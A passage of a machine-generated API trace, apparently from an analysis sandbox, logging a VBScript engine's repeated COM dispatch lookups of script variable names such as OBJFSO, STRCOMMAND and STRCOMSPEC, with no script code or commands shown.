pid=0x154c90*=-1) returned 0x80020006 [0087.416] GetCurrentThreadId () returned 0xd44 [0087.416] IUnknown:Release (This=0x11977a8) returned 0x5 [0087.416] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0087.417] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="DICSYSTEMFILES", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0087.417] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="DICSYSTEMFILES", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0087.417] GetCurrentThreadId () returned 0xd44 [0087.417] IUnknown:Release (This=0x11977a8) returned 0x5 [0087.417] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0087.417] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="BLNADDITIONAL", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0087.417] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="BLNADDITIONAL", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0087.417] GetCurrentThreadId () returned 0xd44 [0087.417] IUnknown:Release (This=0x11977a8) returned 0x5 [0087.417] realloc (_Block=0x0, _Size=0xa0) returned 0x83d20a8 [0087.417] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0087.417] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="BLNDEBUG", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0087.417] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="BLNDEBUG", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0087.417] GetCurrentThreadId () returned 0xd44 [0087.418] IUnknown:Release (This=0x11977a8) returned 0x5 [0087.418] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0087.418] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="BLNDEBUGLOG", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0087.418] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="BLNDEBUGLOG", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0087.418] GetCurrentThreadId () returned 0xd44 [0087.418] IUnknown:Release (This=0x11977a8) returned 0x5 [0087.418] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0087.418] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="BLNIGNOREBATCH", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0087.418] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="BLNIGNOREBATCH", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0087.418] GetCurrentThreadId () returned 0xd44 [0087.418] IUnknown:Release (This=0x11977a8) returned 0x5 [0087.418] malloc (_Size=0x804) returned 0x119a768 [0087.419] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0087.419] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="BLNNOADMIN", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0087.419] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="BLNNOADMIN", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0087.419] GetCurrentThreadId () returned 0xd44 [0087.419] IUnknown:Release (This=0x11977a8) returned 0x5 [0087.419] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0087.419] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="BLNNOHLPCHR1", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0087.419] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="BLNNOHLPCHR1", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0087.419] GetCurrentThreadId () returned 0xd44 [0087.419] IUnknown:Release (This=0x11977a8) returned 0x5 [0087.419] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0087.420] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="BLNOVERWRITE", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0087.420] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="BLNOVERWRITE", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0087.420] GetCurrentThreadId () returned 0xd44 [0087.420] IUnknown:Release (This=0x11977a8) returned 0x5 [0087.420] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0087.420] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="BLNQUIET", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0087.420] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="BLNQUIET", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0087.420] GetCurrentThreadId () returned 0xd44 [0087.420] IUnknown:Release (This=0x11977a8) returned 0x5 [0087.420] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0087.421] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="BLNWINDOWSONLY", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0087.421] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="BLNWINDOWSONLY", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0087.421] GetCurrentThreadId () returned 0xd44 [0087.421] IUnknown:Release (This=0x11977a8) returned 0x5 [0087.422] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0087.422] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="OBJcorn", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0087.422] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="OBJcorn", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0087.422] GetCurrentThreadId () returned 0xd44 [0087.422] IUnknown:Release (This=0x11977a8) returned 0x5 [0087.422] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0087.422] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="OBJthrone", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0087.422] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="OBJthrone", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0087.422] GetCurrentThreadId () returned 0xd44 [0087.422] IUnknown:Release (This=0x11977a8) returned 0x5 [0087.423] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0087.423] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="OBJloyalty", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0087.423] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="OBJloyalty", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0087.423] GetCurrentThreadId () returned 0xd44 [0087.423] IUnknown:Release (This=0x11977a8) returned 0x5 [0087.423] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0087.423] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="OBJmedal", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0087.423] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="OBJmedal", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0087.423] GetCurrentThreadId () returned 0xd44 [0087.423] IUnknown:Release (This=0x11977a8) returned 0x5 [0087.424] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0087.424] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="OBJreactor", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0087.424] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="OBJreactor", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0087.424] GetCurrentThreadId () returned 0xd44 [0087.424] IUnknown:Release (This=0x11977a8) returned 0x5 [0087.424] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0087.424] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="OBJcabinet", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0087.424] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="OBJcabinet", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0087.424] GetCurrentThreadId () returned 0xd44 [0087.424] IUnknown:Release (This=0x11977a8) returned 0x5 [0087.425] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0087.425] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="COLITEMS", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0087.425] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="COLITEMS", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0087.425] GetCurrentThreadId () returned 0xd44 [0087.425] IUnknown:Release (This=0x11977a8) returned 0x5 [0087.425] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0087.425] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="OBJDEBUGLOG", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0087.425] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="OBJDEBUGLOG", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0087.425] GetCurrentThreadId () returned 0xd44 [0087.425] IUnknown:Release (This=0x11977a8) returned 0x5 [0087.426] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0087.426] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="OBJEXEC", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0087.426] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="OBJEXEC", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0087.426] GetCurrentThreadId () returned 0xd44 [0087.426] IUnknown:Release (This=0x11977a8) returned 0x5 [0087.426] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0087.426] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="OBJHTMLFILE", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0087.426] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="OBJHTMLFILE", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0087.426] GetCurrentThreadId () returned 0xd44 [0087.426] IUnknown:Release (This=0x11977a8) returned 0x5 [0087.426] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0087.427] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="OBJFOLDER", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0087.427] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="OBJFOLDER", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0087.427] GetCurrentThreadId () returned 0xd44 [0087.427] IUnknown:Release (This=0x11977a8) returned 0x5 [0087.427] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0087.427] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="OBJFOLDERITEM", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0087.427] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="OBJFOLDERITEM", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0087.427] GetCurrentThreadId () returned 0xd44 [0087.427] IUnknown:Release (This=0x11977a8) returned 0x5 [0087.427] realloc (_Block=0x83d20a8, _Size=0x140) returned 0x1198da8 [0087.428] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0087.428] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="OBJFSO", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0087.428] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="OBJFSO", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0087.428] GetCurrentThreadId () returned 0xd44 [0087.428] IUnknown:Release (This=0x11977a8) returned 0x5 [0087.428] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0087.428] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="OBJITEM", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0087.428] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="OBJITEM", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0087.428] GetCurrentThreadId () returned 0xd44 [0087.428] IUnknown:Release (This=0x11977a8) returned 0x5 [0087.428] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0087.429] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="OBJKEY", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0087.429] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="OBJKEY", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0087.429] GetCurrentThreadId () returned 0xd44 [0087.429] IUnknown:Release (This=0x11977a8) returned 0x5 [0087.429] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0087.429] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="OBJMATCHES", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0087.429] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="OBJMATCHES", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0087.429] GetCurrentThreadId () returned 0xd44 [0087.429] IUnknown:Release (This=0x11977a8) returned 0x5 [0087.429] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0087.430] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="OBJMATCHES2", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0087.430] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="OBJMATCHES2", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0087.430] GetCurrentThreadId () returned 0xd44 [0087.430] IUnknown:Release (This=0x11977a8) returned 0x5 [0087.430] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0087.430] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="STRALPHABET", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0087.430] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="STRALPHABET", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0087.430] GetCurrentThreadId () returned 0xd44 [0087.430] IUnknown:Release (This=0x11977a8) returned 0x5 [0087.430] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0087.430] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="STRARG", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0087.430] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="STRARG", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0087.430] GetCurrentThreadId () returned 0xd44 [0087.431] IUnknown:Release (This=0x11977a8) returned 0x5 [0087.431] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0087.431] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="STRCLASS", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0087.431] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="STRCLASS", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0087.431] GetCurrentThreadId () returned 0xd44 [0087.431] IUnknown:Release (This=0x11977a8) returned 0x5 [0087.431] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0087.432] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="STRCMDINFO", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0087.432] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="STRCMDINFO", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0087.432] GetCurrentThreadId () returned 0xd44 [0087.432] IUnknown:Release (This=0x11977a8) returned 0x5 [0087.432] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0087.432] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="STRCOMMAND", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0087.433] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="STRCOMMAND", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0087.433] GetCurrentThreadId () returned 0xd44 [0087.433] IUnknown:Release (This=0x11977a8) returned 0x5 [0087.433] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0087.433] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="STRCOMMANDLINE", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0087.433] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="STRCOMMANDLINE", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0087.433] GetCurrentThreadId () returned 0xd44 [0087.433] IUnknown:Release (This=0x11977a8) returned 0x5 [0087.433] malloc (_Size=0x1004) returned 0x847d748 [0087.433] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0087.434] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="STRCOMSPEC", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0087.434] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="STRCOMSPEC", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0087.434] GetCurrentThreadId () returned 0xd44 [0087.434] IUnknown:Release (This=0x11977a8) returned 0x5 [0087.434] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, 